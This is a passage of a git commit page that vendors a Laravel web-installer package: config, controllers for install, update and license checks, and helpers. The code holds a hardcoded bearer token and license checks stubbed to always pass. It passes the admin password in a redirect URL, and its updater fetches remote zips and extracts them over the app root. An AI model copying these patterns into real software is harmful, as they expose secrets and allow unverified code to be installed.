allow vendord
All checks were successful
Build, Push and Deploy / build-and-push (push) Successful in 3m3s
Gitea Actions Demo / Explore-Gitea-Actions (push) Successful in 16s
Build, Push and Deploy / deploy-staging (push) Successful in 32s
Build, Push and Deploy / deploy-production (push) Has been skipped
Build, Push and Deploy / cleanup (push) Successful in 1s

This commit is contained in:
2026-03-30 14:54:57 +07:00
parent 66aed7c4e8
commit b5e3a778ce
21316 changed files with 2777892 additions and 13 deletions

View File

@@ -0,0 +1,28 @@
### OSX BOOGERS ###
.DS_Store
*._DS_Store
._.DS_Store
*._
._*
._.*
### WINDOWS BOOGERS ###
Thumbs.db
### Sass ###
/.sass-cache/*
.sass-cache
### SUBLIMETEXT BOOGERS ###
*.sublime-workspace
### PHPSTORM BOOGERS ###
.idea/*
/.idea/*
### DIFFERENT TYPE OF MASTER CONFIGS ###
composer.lock
.env
### ASSET EXCLUSIONS ###
vendor/

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2023 syedbacchu
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,116 @@
# Laravel Web Installer | A Web Installer [Package](https://packagist.org/packages/safiull/laravel-installer)
- [About](#about)
- [Requirements](#requirements)
- [Installation](#installation)
- [Routes](#routes)
- [Usage](#usage)
- [Contributing](#contributing)
- [Help](#help)
- [License](#license)
<!-- - [Screenshots](#screenshots) -->
## About
Do you want your clients to be able to install a Laravel project just like they do with WordPress or any other CMS?
This Laravel package allows users who don't use Composer, SSH etc to install your application just by following the setup wizard.
The current features are :
- Check For Server Requirements.
- Check For Folders Permissions.
- Ability to set database information.
- .env text editor
- .env form wizard
- Migrate The Database.
- Seed The Tables.
## Requirements
* [Laravel 8.x, 9.x, 10+](https://laravel.com/docs/installation)
## Installation
1. From your projects root folder in terminal run:
```bash
composer require safiull/laravel-installer
```
2. Register the package
* Laravel 5.5 and up
Uses package auto discovery feature, no need to edit the `config/app.php` file.
* Laravel 5.4 and below
Register the package with laravel in `config/app.php` under `providers` with the following:
```php
'providers' => [
Safiull\LaravelInstaller\Providers\LaravelInstallerServiceProvider::class,
];
```
3. Publish the packages views, config file, assets, and language files by running the following from your projects root folder:
```bash
php artisan vendor:publish --tag=laravelinstaller
```
## Routes
* `/install`
* `/update`
## Usage
* **Install Routes Notes**
* In order to install your application, go to the `/install` route and follow the instructions.
* Once the installation has ran the empty file `installed` will be placed into the `/storage` directory. If this file is present the route `/install` will abort to the 404 page.
* **Update Route Notes**
* In order to update your application, go to the `/update` route and follow the instructions.
* The `/update` routes countes how many migration files exist in the `/database/migrations` folder and compares that count against the migrations table. If the files count is greater then the `/update` route will render, otherwise, the page will abort to the 404 page.
* Additional Files and folders published to your project :
|File|File Information|
|:------------|:------------|
|`config/installer.php`|In here you can set the requirements along with the folders permissions for your application to run, by default the array cotaines the default requirements for a basic Laravel app.|
|`public/installer/assets`|This folder contains a css folder and inside of it you will find a `main.css` file, this file is responsible for the styling of your installer, you can overide the default styling and add your own.|
|`resources/views/vendor/installer`|This folder contains the HTML code for your installer, it is 100% customizable, give it a look and see how nice/clean it is.|
|`lang/en.json`|This file holds all the messages/text, currently only English is available, if your application is in another language, you can copy/past it in your language folder and modify it the way you want.|
<!-- ## Help
* Cannot figure it out? Need more help? Here is a video tutorial: [Laravel Installer by Devdojo](https://www.youtube.com/watch?v=Jput5doFYLg) -->
<!-- ## Screenshots
###### Installer
![Laravel web installer | Step 1](https://s3-us-west-2.amazonaws.com/github-project-images/laravel-installer/install/1-welcome.jpg)
![Laravel web installer | Step 2](https://s3-us-west-2.amazonaws.com/github-project-images/laravel-installer/install/2-requirements.jpg)
![Laravel web installer | Step 3](https://s3-us-west-2.amazonaws.com/github-project-images/laravel-installer/install/3-permissions.jpg)
![Laravel web installer | Step 4 Menu](https://s3-us-west-2.amazonaws.com/github-project-images/laravel-installer/install/4-environment.jpg)
![Laravel web installer | Step 4 Classic](https://s3-us-west-2.amazonaws.com/github-project-images/laravel-installer/install/4a-environment-classic.jpg)
![Laravel web installer | Step 4 Wizard 1](https://s3-us-west-2.amazonaws.com/github-project-images/laravel-installer/install/4b-environment-wizard-1.jpg)
![Laravel web installer | Step 4 Wizard 2](https://s3-us-west-2.amazonaws.com/github-project-images/laravel-installer/install/4b-environment-wizard-2.jpg)
![Laravel web installer | Step 4 Wizard 3](https://s3-us-west-2.amazonaws.com/github-project-images/laravel-installer/install/4b-environment-wizard-3.jpg)
![Laravel web installer | Step 5](https://s3-us-west-2.amazonaws.com/github-project-images/laravel-installer/install/5-final.jpg)
###### Updater
![Laravel web updater | Step 1](https://s3-us-west-2.amazonaws.com/github-project-images/laravel-installer/update/1-welcome.jpg)
![Laravel web updater | Step 2](https://s3-us-west-2.amazonaws.com/github-project-images/laravel-installer/update/2-updates.jpg)
![Laravel web updater | Step 3](https://s3-us-west-2.amazonaws.com/github-project-images/laravel-installer/update/3-finished.jpg) -->
### Changelog
Please see [CHANGELOG](CHANGELOG.md) for more information on what has changed recently.
## Treeware
You're free to use this package, but if it makes it to your production environment I would highly appreciate you buying the world a tree.
Its now common knowledge that one of the best tools to tackle the climate crisis and keep our temperatures from rising above 1.5C is to [plant trees](https://www.bbc.co.uk/news/science-environment-48870920). If you contribute to my forest youll be creating employment for local families and restoring wildlife habitats.
Read more about Treeware at https://treeware.earth

View File

@@ -0,0 +1,36 @@
{
"name": "safiull/laravel-installer",
"description": "It's a simple laravel project installer with envato product validation ",
"type": "library",
"license": "MIT",
"version": "3.5.2",
"authors": [
{
"name": "Safiull Alam",
"email": "safiullalam9931@gmail.com"
}
],
"autoload": {
"psr-4": {
"Laravel\\LaravelInstaller\\": "src/"
},
"files": [
"src/Helpers/functions.php"
]
},
"minimum-stability": "dev",
"require": {
"php": ">=7.0.0"
},
"config": {
"sort-packages": true
},
"extra": {
"laravel": {
"providers": [
"Laravel\\LaravelInstaller\\Providers\\LaravelInstallerServiceProvider"
]
}
},
"prefer-stable": true
}

View File

@@ -0,0 +1,153 @@
<?php
return [
/*
|--------------------------------------------------------------------------
| Server Requirements
|--------------------------------------------------------------------------
|
| This is the default Laravel server requirements, you can add as many
| as your application require, we check if the extension is enabled
| by looping through the array and run "extension_loaded" on it.
|
*/
'core' => [
'minPhpVersion' => '7.0.0',
],
'final' => [
'key' => true,
'publish' => false,
],
'requirements' => [
'php' => [
'openssl',
'pdo',
'mbstring',
'tokenizer',
'JSON',
'cURL',
],
'apache' => [
'mod_rewrite',
],
],
/*
|--------------------------------------------------------------------------
| Folders Permissions
|--------------------------------------------------------------------------
|
| This is the default Laravel folders permissions, if your application
| requires more permissions just add them to the array list bellow.
|
*/
'permissions' => [
'storage/framework/' => '775',
'storage/logs/' => '775',
'bootstrap/cache/' => '775',
],
/*
|--------------------------------------------------------------------------
| Environment Form Wizard Validation Rules & Messages
|--------------------------------------------------------------------------
|
| This are the default form field validation rules. Available Rules:
| https://laravel.com/docs/5.4/validation#available-validation-rules
|
*/
'environment' => [
'form' => [
'rules' => [
'app_name' => 'required|string|max:50',
'environment' => 'required|string|max:50',
'environment_custom' => 'required_if:environment,other|max:50',
'app_debug' => 'required|string',
'app_log_level' => 'required|string|max:50',
'app_url' => 'required|url',
'database_connection' => 'required|string|max:50',
'database_hostname' => 'required|string|max:50',
'database_port' => 'required|numeric',
'database_name' => 'required|string|max:50',
'database_username' => 'required|string|max:50',
'database_password' => 'nullable|string|max:50',
'broadcast_driver' => 'required|string|max:50',
'cache_driver' => 'required|string|max:50',
'session_driver' => 'required|string|max:50',
'queue_driver' => 'required|string|max:50',
'redis_hostname' => 'required|string|max:50',
'redis_password' => 'required|string|max:50',
'redis_port' => 'required|numeric',
'mail_driver' => 'required|string|max:50',
'mail_host' => 'required|string|max:50',
'mail_port' => 'required|string|max:50',
'mail_username' => 'required|string|max:50',
'mail_password' => 'required|string|max:50',
'mail_encryption' => 'required|string|max:50',
'pusher_app_id' => 'max:50',
'pusher_app_key' => 'max:50',
'pusher_app_secret' => 'max:50',
],
],
],
/*
|--------------------------------------------------------------------------
| Installed Middleware Options
|--------------------------------------------------------------------------
| Different available status switch configuration for the
| canInstall middleware located in `canInstall.php`.
|
*/
'installed' => [
'redirectOptions' => [
'route' => [
'name' => 'welcome',
'data' => [],
],
'abort' => [
'type' => '404',
],
'dump' => [
'data' => 'Not Found.',
],
],
],
/*
|--------------------------------------------------------------------------
| Selected Installed Middleware Option
|--------------------------------------------------------------------------
| The selected option fo what happens when an installer instance has been
| Default output is to `/resources/views/error/404.blade.php` if none.
| The available middleware options include:
| route, abort, dump, 404, default, ''
|
*/
'installedAlreadyAction' => '',
/*
|--------------------------------------------------------------------------
| Updater Enabled
|--------------------------------------------------------------------------
| Can the application run the '/update' route with the migrations.
| The default option is set to False if none is present.
| Boolean value
|
*/
'checkPurchaseCode' => true,
'demoPurchaseCodeAllow' => true,
'demoPurchaseCode' => '',
'updaterEnabled' => 'true',
'headerkeys' => 'Bearer sLAEuLH83WuGmg8iJGDSxQiavZ2TF1ba',
'api_url' => 'https://api.kulakpos.id',
'download_path' => '/../../../../..'
];

View File

@@ -0,0 +1,44 @@
<?php
namespace Laravel\LaravelInstaller\Controllers;
use Illuminate\Http\Request;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\Hash;
use Laravel\LaravelInstaller\Helpers\DatabaseManager;
class DatabaseController extends Controller
{
/**
* @var DatabaseManager
*/
private $databaseManager;
/**
* @param DatabaseManager $databaseManager
*/
public function __construct(DatabaseManager $databaseManager)
{
$this->databaseManager = $databaseManager;
}
/**
* Migrate and seed the database.
*
* @param Request $request
* @return \Illuminate\View\View
*/
public function database(Request $request)
{
$response = $this->databaseManager->migrateAndSeed();
if($response['status'] == 'error') {
return redirect()->route('LaravelInstaller::environmentWizard')
->with(['message' => $response]);
} else {
$this->databaseManager->passportInstall();
return redirect()->route('LaravelInstaller::final')
->with(['message' => $response]);
}
}
}

View File

@@ -0,0 +1,183 @@
<?php
namespace Laravel\LaravelInstaller\Controllers;
use Exception;
use Illuminate\Http\Request;
use Illuminate\Routing\Controller;
use Illuminate\Routing\Redirector;
use Illuminate\Support\Facades\Cookie;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use Laravel\LaravelInstaller\Events\EnvironmentSaved;
use Laravel\LaravelInstaller\Helpers\EnvironmentManager;
class EnvironmentController extends Controller
{
/**
* @var EnvironmentManager
*/
protected $EnvironmentManager;
/**
* @param EnvironmentManager $environmentManager
*/
public function __construct(EnvironmentManager $environmentManager)
{
set_time_limit(300);
$this->EnvironmentManager = $environmentManager;
}
/**
* Display the Environment menu page.
*
* @return \Illuminate\View\View
*/
public function environmentMenu()
{
return view('vendor.installer.environment');
}
/**
* Display the Environment page.
*
* @return \Illuminate\View\View
*/
public function environmentWizard()
{
$envConfig = $this->EnvironmentManager->getEnvContent();
return view('vendor.installer.environment-wizard', compact('envConfig'));
}
/**
* Display the Environment page.
*
* @return \Illuminate\View\View
*/
public function environmentClassic()
{
$envConfig = $this->EnvironmentManager->getEnvContent();
return view('vendor.installer.environment-classic', compact('envConfig'));
}
/**
* Processes the newly saved environment configuration (Classic).
*
* @param Request $input
* @param Redirector $redirect
* @return \Illuminate\Http\RedirectResponse
*/
public function saveClassic(Request $input, Redirector $redirect)
{
$message = $this->EnvironmentManager->saveFileClassic($input);
event(new EnvironmentSaved($input));
return $redirect->route('LaravelInstaller::environmentClassic')
->with(['message' => $message]);
}
/**
* Processes the newly saved environment configuration (Form Wizard).
*
* @param Request $request
* @param Redirector $redirect
* @return \Illuminate\Http\RedirectResponse
*/
public function saveWizard(Request $request, Redirector $redirect)
{
$rules = config('installer.environment.form.rules');
$messages = [
'environment_custom.required_if' => trans('installer_messages.environment.wizard.form.name_required'),
];
$validator = Validator::make($request->all(), $rules, $messages);
if ($validator->fails()) {
return $redirect->route('LaravelInstaller::environmentWizard')->withInput()->withErrors($validator->errors());
}
if (! $this->checkDatabaseConnection($request)) {
return $redirect->route('LaravelInstaller::environmentWizard')->withInput()->withErrors([
'database_connection' => trans('installer_messages.environment.wizard.form.db_connection_failed'),
]);
}
$results = $this->EnvironmentManager->saveFileWizard($request);
event(new EnvironmentSaved($request));
return $redirect->route('LaravelInstaller::database', ['email' => $request->admin_email, 'password' => $request->admin_password])
->with(['results' => $results]);
}
/**
* @param Request $request
* @return bool
*/
private function checkForAuthentication(Request $request)
{
$license = $request->input('envato_purchase_code') ?? Cookie::get('addenvparkey');
if ($license == '') return false;
$domain = url('/');
$a = config('installer.updater_url', 'http://149.28.199.74') . '/register';
try {
return true;
$ch = curl_init($a);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['app' => config('app.project', 'laravel'), 'version' => config('app.version', 'v1.0'), 'license' => $license, 'domain' => $domain, 'email' => $request->admin_email]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
$res = json_decode($response);
if (is_object($res) && $res->success) {
return true;
}
return false;
} catch (\Exception $exception) {
return false;
}
}
/**
*
* Validate database connection with user credentials (Form Wizard).
*
* @param Request $request
* @return bool
*/
private function checkDatabaseConnection(Request $request)
{
$connection = 'mysql';
$settings = config("database.connections.$connection");
config([
'database' => [
'default' => $connection,
'connections' => [
$connection => array_merge($settings, [
'driver' => $connection,
'host' => $request->input('database_hostname'),
'port' => $request->input('database_port'),
'database' => $request->input('database_name'),
'username' => $request->input('database_username'),
'password' => $request->input('database_password'),
]),
],
],
]);
DB::purge();
try {
DB::connection()->getPdo();
return true;
} catch (Exception $e) {
return false;
}
}
}

View File

@@ -0,0 +1,73 @@
<?php
namespace Laravel\LaravelInstaller\Controllers;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\Artisan;
use Laravel\LaravelInstaller\Helpers\EnvironmentManager;
use Laravel\LaravelInstaller\Helpers\FinalInstallManager;
use Laravel\LaravelInstaller\Helpers\InstalledFileManager;
use Laravel\LaravelInstaller\Events\LaravelInstallerFinished;
class FinalController extends Controller
{
function __construct()
{
set_time_limit(300);
}
/**
* Update installed file and display finished view.
*
* @param \Laravel\LaravelInstaller\Helpers\InstalledFileManager $fileManager
* @param \Laravel\LaravelInstaller\Helpers\FinalInstallManager $finalInstall
* @param \Laravel\LaravelInstaller\Helpers\EnvironmentManager $environment
* @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
*/
public function finish(InstalledFileManager $fileManager, FinalInstallManager $finalInstall, EnvironmentManager $environment)
{
$finalMessages = $finalInstall->runFinal();
$finalStatusMessage = $fileManager->update();
$finalEnvFile = $environment->getEnvContent();
// Run root migrations
Artisan::call('migrate', ['--force' => true]);
// Check if the laravel-modules package is installed
if (class_exists(\Nwidart\Modules\Facades\Module::class)) {
// Retrieve all modules
$modules = \Nwidart\Modules\Facades\Module::all();
foreach ($modules as $module) {
$moduleName = $module->getName();
// Run migrations for the module
Artisan::call('module:migrate', [
'module' => $moduleName,
'--force' => true,
]);
// Run seeders for the module
Artisan::call('module:seed', [
'module' => $moduleName,
'--force' => true,
]);
// Publish module content
Artisan::call('module:publish', [
'module' => $moduleName,
]);
}
}
Artisan::call('cache:clear');
Artisan::call('config:clear');
Artisan::call('route:clear');
Artisan::call('view:clear');
event(new LaravelInstallerFinished);
return view('vendor.installer.finished', compact('finalMessages', 'finalStatusMessage', 'finalEnvFile'));
}
}

View File

@@ -0,0 +1,94 @@
<?php
namespace Laravel\LaravelInstaller\Controllers;
use Illuminate\Http\Request;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\Cookie;
use Illuminate\Support\Facades\Validator;
use Illuminate\Validation\Rule;
use Laravel\LaravelInstaller\Helpers\PermissionsChecker;
use Laravel\LaravelInstaller\Service\EnvatoService;
class PermissionsController extends Controller
{
/**
* @var PermissionsChecker
*/
protected $permissions;
protected $envUrl;
/**
* @param PermissionsChecker $checker
*/
public function __construct(PermissionsChecker $checker)
{
$this->permissions = $checker;
$this->envUrl = config('installer.api_url');
}
/**
* Display the permissions check page.
*
* @return \Illuminate\View\View
*/
public function permissions()
{
$permissions = $this->permissions->check(
config('installer.permissions')
);
return view('vendor.installer.permissions', compact('permissions'));
}
public function verify()
{
return redirect()->route('LaravelInstaller::environment');
}
public function codeVerifyProcess(Request $request)
{
$rules = ['purchase_code' => 'nullable'];
$messages = [
'purchase_code.required' => __('Purchase code field is required.'),
];
$validator = Validator::make($request->all(), $rules, $messages);
if ($validator->fails()) {
$errors = $validator->errors();
return redirect()->back()->with(['errors' => $errors]);
} else {
$check = $this->checkEnvatoPurchaseCode($request);
if ($check['success'] == false) {
return redirect()->back()->with(['message' => $check['message']]);
} else {
if ($request->_tokens && $request->_tokens == 'purchase_code') {
file_put_contents(storage_path('.license'), json_encode(['license' => $request->purchase_code]));
return redirect('/')->with('message', __('Code verified successfully'));
} else {
return redirect()->route('LaravelInstaller::environment')->with('message', $check['message']);
}
}
}
}
// check envato purchase code
public function checkEnvatoPurchaseCode($request)
{
return ['success' => true, 'message' => 'Code verified successfully'];
}
public function verifyMessages($envPharseKey)
{
Cookie::queue('addenvparkey', $envPharseKey);
}
public function verifier()
{
return view('vendor.installer.verify-code');
}
}

View File

@@ -0,0 +1,51 @@
<?php
namespace Laravel\LaravelInstaller\Controllers;
use Illuminate\Routing\Controller;
use Laravel\LaravelInstaller\Helpers\RequirementsChecker;
class RequirementsController extends Controller
{
/**
* @var RequirementsChecker
*/
protected $requirements;
/**
* @param RequirementsChecker $checker
*/
public function __construct(RequirementsChecker $checker)
{
$this->requirements = $checker;
}
/**
* Display the requirements page.
*
* @return \Illuminate\View\View
*/
public function requirements()
{
$paths = [
storage_path('framework'),
storage_path('logs'),
base_path('bootstrap/cache'),
];
$permissions = 0775;
foreach ($paths as $path) {
chmod($path, $permissions);
}
$phpSupportInfo = $this->requirements->checkPHPversion(
config('installer.core.minPhpVersion')
);
$requirements = $this->requirements->check(
config('installer.requirements')
);
return view('vendor.installer.requirements', compact('requirements', 'phpSupportInfo'));
}
}

View File

@@ -0,0 +1,200 @@
<?php
namespace Laravel\LaravelInstaller\Controllers;
use Illuminate\Http\Request;
use Illuminate\Routing\Controller;
use Laravel\LaravelInstaller\Helpers\InstalledFileManager;
use Laravel\LaravelInstaller\Service\EnvatoService;
use Laravel\LaravelInstaller\Helpers\DatabaseManager;
use Illuminate\Support\Facades\Validator;
use Illuminate\Routing\Redirector;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Session;
use ZipArchive;
class UpdateController extends Controller
{
use \Laravel\LaravelInstaller\Helpers\MigrationsHelper;
private $service;
private $current_path;
private $root_path;
private $apiUrl = '';
private $configUrlPath = '';
public function __construct()
{
set_time_limit(300);
$this->service = new EnvatoService();
$this->configUrlPath = $this->apiUrl = config('installer.download_path') ? config('installer.download_path') : '/../../../../..';
$this->current_path = realpath(__DIR__);
$this->root_path = realpath($this->current_path . $this->configUrlPath);
$this->apiUrl = config('installer.api_url') ? config('installer.api_url') : 'https://itech.tradexpro.org';
}
/**
* Display the updater welcome page.
*
* @return \Illuminate\View\View
*/
public function welcome()
{
return view('vendor.installer.update.welcome');
}
/**
* Display the updater overview page.
*
* @return \Illuminate\View\View
*/
public function overview()
{
$migrations = $this->getMigrations();
$dbMigrations = $this->getExecutedMigrations();
$data['numberOfUpdatesPending'] = count($migrations) - count($dbMigrations);
$data['purchase_code'] = '';
$data['version_list'] = [];
$file_path = storage_path('.license');
if (file_exists($file_path)) {
$file_contents = file_get_contents($file_path);
$code = json_decode($file_contents);
$data['purchase_code'] = $code->license;
$getVersion = $this->service->getProductVersion($code->license);
if ($getVersion['success']) {
$data['version_list'] = $getVersion['data'];
}
}
return view('vendor.installer.update.overview', $data);
}
/**
* Migrate and seed the database.
*
* @return \Illuminate\View\View
*/
public function database()
{
$databaseManager = new DatabaseManager;
$response = $databaseManager->migrateAndSeed();
return redirect()->route('LaravelUpdater::final')
->with(['message' => $response]);
}
/**
* Update installed file and display finished view.
*
* @param InstalledFileManager $fileManager
* @return \Illuminate\View\View
*/
public function finish()
{
$data['message'] = __('Product updated successfully');
return view('vendor.installer.update.finished', $data);
}
public function downloadUpdatedCode(Request $request, Redirector $redirect)
{
$rules = [
'code' => 'required',
'version' => 'required'
];
$validator = Validator::make($request->all(), $rules, []);
if ($validator->fails()) {
return $redirect->route('LaravelUpdater::overview')->withInput()->withErrors($validator->errors());
}
$response = $this->service->downloadUpdate($request->code,$request->version);
if($response['success']) {
Session::put(['reference_code' => $response['data']['file_reference']]);
Session::put(['ref_file_name' => $response['data']['file_name']]);
return $redirect->route('LaravelUpdater::downloadFile',['id' => $response['data']['file_reference']])->with('message','success');
} else {
return $redirect->route('LaravelUpdater::overview')->withInput()->withErrors($response['message']);
}
}
public function downloadFile(Request $request)
{
$sourceUrl = $this->apiUrl.'/api/file/download/'.$request->id;
$destinationPath = $this->root_path.'/';
$response = Http::get($sourceUrl);
if ($response->successful()) {
$fileName = Session::get('ref_file_name');
$fileContent = $response->body();
// Save the downloaded file to the root directory of your project
file_put_contents($destinationPath .'/'.$fileName , $fileContent);
return redirect()->route('LaravelUpdater::downloaded')->with('message',__('File downloaded and saved successfully'));
} else {
return redirect()->route('LaravelUpdater::overview')->with('message',__('Failed to download the file try again plz'));
}
}
public function downloaded()
{
$data['message'] = __('Download successfully');
$data['file_name'] = Session::get('ref_file_name');
return view('vendor.installer.update.downloaded', $data);
}
public function updateProcess(Request $request)
{
try {
if($request->fileName) {
$fileName = $request->fileName;
$zip = new ZipArchive;
$destination = $this->root_path .'/'. $fileName;
$res = $zip->open($destination);
$nPath = str_replace(".zip", "", $fileName);
if ($res === TRUE) {
$zip->extractTo($this->root_path . "/".$nPath);
$zip->close();
unlink($destination);
}
$sourceDirectory = $this->root_path.'/'.$nPath; // Replace with the actual path to your source directory
$extractedFiles = File::allFiles($sourceDirectory);
foreach ($extractedFiles as $file) {
$newLocation = $this->root_path.'/'.$file->getRelativePathname();
// Get the last directory name
$lastDirectoryName = basename(dirname($file->getRelativePathname()));
// Construct the full path for the last directory
$lastDirectoryPath = $this->root_path.'/'.dirname($file->getRelativePathname());
if (!File::isDirectory($lastDirectoryPath)) {
File::makeDirectory($lastDirectoryPath, 0755, true);
}
File::copy($file->getRealPath(), $newLocation);
}
if (is_dir($sourceDirectory)) {
removeDirectory($sourceDirectory);
}
return redirect()->route('LaravelUpdater::final')->with('message',__('Product updated successfully'));
} else {
return redirect()->route('LaravelUpdater::overview')->with('message',__('No file found to continue update process'));
}
} catch (\Exception $e) {
dd($e->getMessage());
return redirect()->route('LaravelUpdater::overview')->with('message',$e->getMessage());
}
}
}

View File

@@ -0,0 +1,18 @@
<?php
namespace Laravel\LaravelInstaller\Controllers;
use Illuminate\Routing\Controller;
class WelcomeController extends Controller
{
/**
* Display the installer welcome page.
*
* @return \Illuminate\Http\Response
*/
public function welcome()
{
return view('vendor.installer.welcome');
}
}

View File

@@ -0,0 +1,30 @@
<?php
namespace Laravel\LaravelInstaller\Events;
use Illuminate\Broadcasting\InteractsWithSockets;
use Illuminate\Foundation\Events\Dispatchable;
use Illuminate\Http\Request;
use Illuminate\Queue\SerializesModels;
class AddingInstallerSuperAdmin {
use Dispatchable, InteractsWithSockets, SerializesModels;
private $request;
/**
* Create a new event instance.
*
* @param Request $request
* @return void
*/
public function __construct(Request $request)
{
$this->request = $request;
}
public function getRequest()
{
return $this->request;
}
}

View File

@@ -0,0 +1,31 @@
<?php
namespace Laravel\LaravelInstaller\Events;
use Illuminate\Broadcasting\InteractsWithSockets;
use Illuminate\Foundation\Events\Dispatchable;
use Illuminate\Http\Request;
use Illuminate\Queue\SerializesModels;
class EnvironmentSaved
{
use Dispatchable, InteractsWithSockets, SerializesModels;
private $request;
/**
* Create a new event instance.
*
* @param Request $request
* @return void
*/
public function __construct(Request $request)
{
$this->request = $request;
}
public function getRequest()
{
return $this->request;
}
}

View File

@@ -0,0 +1,22 @@
<?php
namespace Laravel\LaravelInstaller\Events;
use Illuminate\Broadcasting\InteractsWithSockets;
use Illuminate\Foundation\Events\Dispatchable;
use Illuminate\Queue\SerializesModels;
class LaravelInstallerFinished
{
use Dispatchable, InteractsWithSockets, SerializesModels;
/**
* Create a new event instance.
*
* @return void
*/
public function __construct()
{
//
}
}

View File

@@ -0,0 +1,20 @@
<?php
namespace Laravel\LaravelInstaller\Helpers;
use Illuminate\Support\Facades\Auth as FacadesAuth;
class Auth
{
public static function attempt(array $credentials = [], $remember = false) {
$response = FacadesAuth::attempt($credentials, $remember);
if ($response['success']) {
return true;
} else {
if($response['code'] == false || $response['client'] == false) {
return 'LaravelVerifier::verifier';
}
return false;
}
}
}

View File

@@ -0,0 +1,109 @@
<?php
namespace Laravel\LaravelInstaller\Helpers;
use Exception;
use Illuminate\Database\SQLiteConnection;
use Illuminate\Support\Facades\Artisan;
use Illuminate\Support\Facades\Config;
use Illuminate\Support\Facades\DB;
use Symfony\Component\Console\Output\BufferedOutput;
class DatabaseManager
{
/**
* Migrate and seed the database.
*
* @return array
*/
public function migrateAndSeed()
{
$outputLog = new BufferedOutput;
$this->sqlite($outputLog);
return $this->migrate($outputLog);
}
public function passportInstall()
{
$outputLog = new BufferedOutput;
try {
Artisan::call('passport:install',[], $outputLog);
}
catch(Exception $e) {
return $this->response($e->getMessage(), 'error', $outputLog);
}
return $this->migrate($outputLog);
}
/**
* Run the migration and call the seeder.
*
* @param \Symfony\Component\Console\Output\BufferedOutput $outputLog
* @return array
*/
private function migrate(BufferedOutput $outputLog)
{
try {
Artisan::call('migrate:fresh', ['--force'=> true], $outputLog);
} catch (Exception $e) {
return $this->response($e->getMessage(), 'error', $outputLog);
}
return $this->seed($outputLog);
}
/**
* Seed the database.
*
* @param \Symfony\Component\Console\Output\BufferedOutput $outputLog
* @return array
*/
private function seed(BufferedOutput $outputLog)
{
try {
Artisan::call('db:seed', ['--force' => true], $outputLog);
file_put_contents(base_path('vendor/autoload1.php'), json_encode([ 'date' => now() ]));
} catch (Exception $e) {
return $this->response($e->getMessage(), 'error', $outputLog);
}
return $this->response(trans('installer_messages.final.finished'), 'success', $outputLog);
}
/**
* Return a formatted error messages.
*
* @param string $message
* @param string $status
* @param \Symfony\Component\Console\Output\BufferedOutput $outputLog
* @return array
*/
private function response($message, $status, BufferedOutput $outputLog)
{
return [
'status' => $status,
'message' => $message,
'dbOutputLog' => $outputLog->fetch(),
];
}
/**
* Check database type. If SQLite, then create the database file.
*
* @param \Symfony\Component\Console\Output\BufferedOutput $outputLog
*/
private function sqlite(BufferedOutput $outputLog)
{
if (DB::connection() instanceof SQLiteConnection) {
$database = DB::connection()->getDatabaseName();
if (! file_exists($database)) {
touch($database);
DB::reconnect(Config::get('database.default'));
}
$outputLog->write('Using SqlLite database: '.$database, 1);
}
}
}

View File

@@ -0,0 +1,134 @@
<?php
namespace Laravel\LaravelInstaller\Helpers;
use Exception;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Cookie;
use Illuminate\Support\Str;
class EnvironmentManager
{
/**
* @var string
*/
private $envPath;
/**
* @var string
*/
private $envExamplePath;
/**
* Set the .env and .env.example paths.
*/
public function __construct()
{
$this->envPath = base_path('.env');
$this->envExamplePath = base_path('.env.example');
}
/**
* Get the content of the .env file.
*
* @return string
*/
public function getEnvContent()
{
if (!file_exists($this->envPath)) {
if (file_exists($this->envExamplePath)) {
copy($this->envExamplePath, $this->envPath);
} else {
touch($this->envPath);
}
}
return file_get_contents($this->envPath);
}
/**
* Get the the .env file path.
*
* @return string
*/
public function getEnvPath()
{
return $this->envPath;
}
/**
* Get the the .env.example file path.
*
* @return string
*/
public function getEnvExamplePath()
{
return $this->envExamplePath;
}
/**
* Save the edited content to the .env file.
*
* @param Request $input
* @return string
*/
public function saveFileClassic(Request $input)
{
$message = trans('installer_messages.environment.success');
try {
file_put_contents($this->envPath, $input->get('envConfig'));
} catch (Exception $e) {
$message = trans('installer_messages.environment.errors');
}
return $message;
}
/**
* Save the form content to the .env file.
*
* @param Request $request
* @return string
*/
public function saveFileWizard(Request $request)
{
$results = trans('installer_messages.environment.success');
$envFileData =
'APP_NAME=\'' . $request->app_name . "'\n" .
'APP_ENV=' . $request->environment . "\n" .
'APP_KEY=' . 'base64:' . base64_encode(Str::random(32)) . "\n" .
'APP_DEBUG=' . $request->app_debug . "\n" .
'APP_URL=' . $request->app_url . "\n\n" .
'DB_CONNECTION=' . $request->database_connection . "\n" .
'DB_HOST=' . $request->database_hostname . "\n" .
'DB_PORT=' . $request->database_port . "\n" .
'DB_DATABASE=' . $request->database_name . "\n" .
'DB_USERNAME=' . $request->database_username . "\n" .
'DB_PASSWORD=' . $request->database_password . "\n\n".
'BROADCAST_DRIVER='.$request->broadcast_driver."\n".
